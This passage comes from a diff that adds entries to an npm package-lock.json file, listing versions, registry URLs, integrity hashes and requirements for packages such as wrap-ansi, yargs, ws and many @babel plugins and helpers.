+        "string-width": "^4.1.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
+    "node_modules/wrap-ansi/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/wrap-ansi/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/wrap-ansi/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+    },
+    "node_modules/write-file-atomic": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+      "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+      "dependencies": {
+        "imurmurhash": "^0.1.4",
+        "is-typedarray": "^1.0.0",
+        "signal-exit": "^3.0.2",
+        "typedarray-to-buffer": "^3.1.5"
+      }
+    },
+    "node_modules/ws": {
+      "version": "7.5.9",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
+      "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
+      "engines": {
+        "node": ">=8.3.0"
+      },
+      "peerDependencies": {
+        "bufferutil": "^4.0.1",
+        "utf-8-validate": "^5.0.2"
+      },
+      "peerDependenciesMeta": {
+        "bufferutil": {
+          "optional": true
+        },
+        "utf-8-validate": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/xml-name-validator": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
+      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
+    },
+    "node_modules/xmlchars": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="
+    },
+    "node_modules/xtend": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+      "engines": {
+        "node": ">=0.4"
+      }
+    },
+    "node_modules/y18n": {
+      "version": "5.0.8",
+      "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+      "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+    },
+    "node_modules/yaml": {
+      "version": "1.10.2",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+      "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/yargs": {
+      "version": "16.2.0",
+      "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+      "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+      "dependencies": {
+        "cliui": "^7.0.2",
+        "escalade": "^3.1.1",
+        "get-caller-file": "^2.0.5",
+        "require-directory": "^2.1.1",
+        "string-width": "^4.2.0",
+        "y18n": "^5.0.5",
+        "yargs-parser": "^20.2.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yargs-parser": {
+      "version": "20.2.9",
+      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
+      "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yocto-queue": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+      "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    }
+  },
+  "dependencies": {
+    "@ampproject/remapping": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz",
+      "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==",
+      "requires": {
+        "@jridgewell/gen-mapping": "^0.1.0",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      }
+    },
+    "@babel/code-frame": {
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz",
+      "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==",
+      "requires": {
+        "@babel/helper-validator-identifier": "^7.25.9",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.0.0"
+      }
+    },
+    "@babel/compat-data": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz",
+      "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw=="
+    },
+    "@babel/core": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz",
+      "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==",
+      "requires": {
+        "@ampproject/remapping": "^2.1.0",
+        "@babel/code-frame": "^7.18.6",
+        "@babel/generator": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helpers": "^7.19.0",
+        "@babel/parser": "^7.19.3",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.3",
+        "@babel/types": "^7.19.3",
+        "convert-source-map": "^1.7.0",
+        "debug": "^4.1.0",
+        "gensync": "^1.0.0-beta.2",
+        "json5": "^2.2.1",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/eslint-parser": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.19.1.tgz",
+      "integrity": "sha512-AqNf2QWt1rtu2/1rLswy6CDP7H9Oh3mMhk177Y67Rg8d7RD9WfOLLv8CGn6tisFvS2htm86yIe1yLF6I1UDaGQ==",
+      "requires": {
+        "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1",
+        "eslint-visitor-keys": "^2.1.0",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "eslint-visitor-keys": {
+          "version": "2.1.0",
+          "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+          "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw=="
+        },
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/generator": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.0.tgz",
+      "integrity": "sha512-lN85QRR+5IbYrMWM6Y4pE/noaQtg4pNiqeNGX60eqOfo6gtEj6uw/JagelB8vVztSd7R6M5n1+PQkDbHbBRU4g==",
+      "requires": {
+        "@babel/types": "^7.23.0",
+        "@jridgewell/gen-mapping": "^0.3.2",
+        "@jridgewell/trace-mapping": "^0.3.17",
+        "jsesc": "^2.5.1"
+      },
+      "dependencies": {
+        "@jridgewell/gen-mapping": {
+          "version": "0.3.2",
+          "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz",
+          "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==",
+          "requires": {
+            "@jridgewell/set-array": "^1.0.1",
+            "@jridgewell/sourcemap-codec": "^1.4.10",
+            "@jridgewell/trace-mapping": "^0.3.9"
+          }
+        }
+      }
+    },
+    "@babel/helper-annotate-as-pure": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz",
+      "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==",
+      "requires": {
+        "@babel/types": "^7.18.6"
+      }
+    },
+    "@babel/helper-builder-binary-assignment-operator-visitor": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz",
+      "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==",
+      "requires": {
+        "@babel/helper-explode-assignable-expression": "^7.18.6",
+        "@babel/types": "^7.18.9"
+      }
+    },
+    "@babel/helper-compilation-targets": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz",
+      "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==",
+      "requires": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-validator-option": "^7.18.6",
+        "browserslist": "^4.21.3",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/helper-create-class-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-NRz8DwF4jT3UfrmUoZjd0Uph9HQnP30t7Ash+weACcyNkiYTywpIjDBgReJMKgr+n86sn2nPVVmJ28Dm053Kqw==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6"
+      }
+    },
+    "@babel/helper-create-regexp-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-htnV+mHX32DF81amCDrwIDr8nrp1PTm+3wfBN9/v8QJOLEioOCOG7qNyq0nHeFiWbT3Eb7gsPwEmV64UCQ1jzw==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "regexpu-core": "^5.1.0"
+      }
+    },
+    "@babel/helper-define-polyfill-provider": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz",
+      "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==",
+      "requires": {
+        "@babel/helper-compilation-targets": "^7.17.7",
+        "@babel/helper-plugin-utils": "^7.16.7",
+        "debug": "^4.1.1",
+        "lodash.debounce": "^4.0.8",
+        "resolve": "^1.14.2",
+        "semver": "^6.1.2"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/helper-environment-visitor": {
+      "version": "7.22.20",
+      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz",
+      "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA=="
+    },
+    "@babel/helper-explode-assignable-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz",
+      "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==",
+      "requires": {
+        "@babel/types": "^7.18.6"
+      }
+    },
+    "@babel/helper-function-name": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz",
+      "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==",
+      "requires": {
+        "@babel/template": "^7.22.15",
+        "@babel/types": "^7.23.0"
+      }
+    },
+    "@babel/helper-hoist-variables": {
+      "version": "7.22.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
+      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
+      "requires": {
+        "@babel/types": "^7.22.5"
+      }
+    },
+    "@babel/helper-member-expression-to-functions": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz",
+      "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==",
+      "requires": {
+        "@babel/types": "^7.18.9"
+      }
+    },
+    "@babel/helper-module-imports": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz",
+      "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==",
+      "requires": {
+        "@babel/types": "^7.18.6"
+      }
+    },
+    "@babel/helper-module-transforms": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz",
+      "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==",
+      "requires": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      }
+    },
+    "@babel/helper-optimise-call-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz",
+      "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==",
+      "requires": {
+        "@babel/types": "^7.18.6"
+      }
+    },
+    "@babel/helper-plugin-utils": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz",
+      "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw=="
+    },
+    "@babel/helper-remap-async-to-generator": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz",
+      "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-wrap-function": "^7.18.9",
+        "@babel/types": "^7.18.9"
+      }
+    },
+    "@babel/helper-replace-supers": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.19.1.tgz",
+      "integrity": "sha512-T7ahH7wV0Hfs46SFh5Jz3s0B6+o8g3c+7TMxu7xKfmHikg7EAZ3I2Qk9LFhjxXq8sL7UkP5JflezNwoZa8WvWw==",
+      "requires": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/traverse": "^7.19.1",
+        "@babel/types": "^7.19.0"
+      }
+    },
+    "@babel/helper-simple-access": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz",
+      "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==",
+      "requires": {
+        "@babel/types": "^7.18.6"
+      }
+    },
+    "@babel/helper-skip-transparent-expression-wrappers": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz",
+      "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==",
+      "requires": {
+        "@babel/types": "^7.18.9"
+      }
+    },
+    "@babel/helper-split-export-declaration": {
+      "version": "7.22.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
+      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
+      "requires": {
+        "@babel/types": "^7.22.5"
+      }
+    },
+    "@babel/helper-string-parser": {
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz",
+      "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA=="
+    },
+    "@babel/helper-validator-identifier": {
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz",
+      "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ=="
+    },
+    "@babel/helper-validator-option": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz",
+      "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw=="
+    },
+    "@babel/helper-wrap-function": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.19.0.tgz",
+      "integrity": "sha512-txX8aN8CZyYGTwcLhlk87KRqncAzhh5TpQamZUa0/u3an36NtDpUP6bQgBCBcLeBs09R/OwQu3OjK0k/HwfNDg==",
+      "requires": {
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      }
+    },
+    "@babel/helpers": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.0.tgz",
+      "integrity": "sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==",
+      "requires": {
+        "@babel/template": "^7.27.0",
+        "@babel/types": "^7.27.0"
+      }
+    },
+    "@babel/parser": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.27.0.tgz",
+      "integrity": "sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==",
+      "requires": {
+        "@babel/types": "^7.27.0"
+      }
+    },
+    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz",
+      "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9"
+      }
+    },
+    "@babel/plugin-proposal-async-generator-functions": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.19.1.tgz",
+      "integrity": "sha512-0yu8vNATgLy4ivqMNBIwb1HebCelqN7YX8SL3FDXORv/RqT0zEEWUCH4GH44JsSrvCu6GqnAdR5EBFAPeNBB4Q==",
+      "requires": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-remap-async-to-generator": "^7.18.9",
+        "@babel/plugin-syntax-async-generators": "^7.8.4"
+      }
+    },
+    "@babel/plugin-proposal-class-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+      "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+      "requires": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-proposal-class-static-block": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz",
+      "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==",
+      "requires": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5"
+      }
+    },
+    "@babel/plugin-proposal-decorators": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.19.3.tgz",
+      "integrity": "sha512-MbgXtNXqo7RTKYIXVchVJGPvaVufQH3pxvQyfbGvNw1DObIhph+PesYXJTcd8J4DdWibvf6Z2eanOyItX8WnJg==",
+      "requires": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.19.1",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/plugin-syntax-decorators": "^7.19.0"
+      }
+    },
+    "@babel/plugin-proposal-dynamic-import": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+      "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-export-namespace-from": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
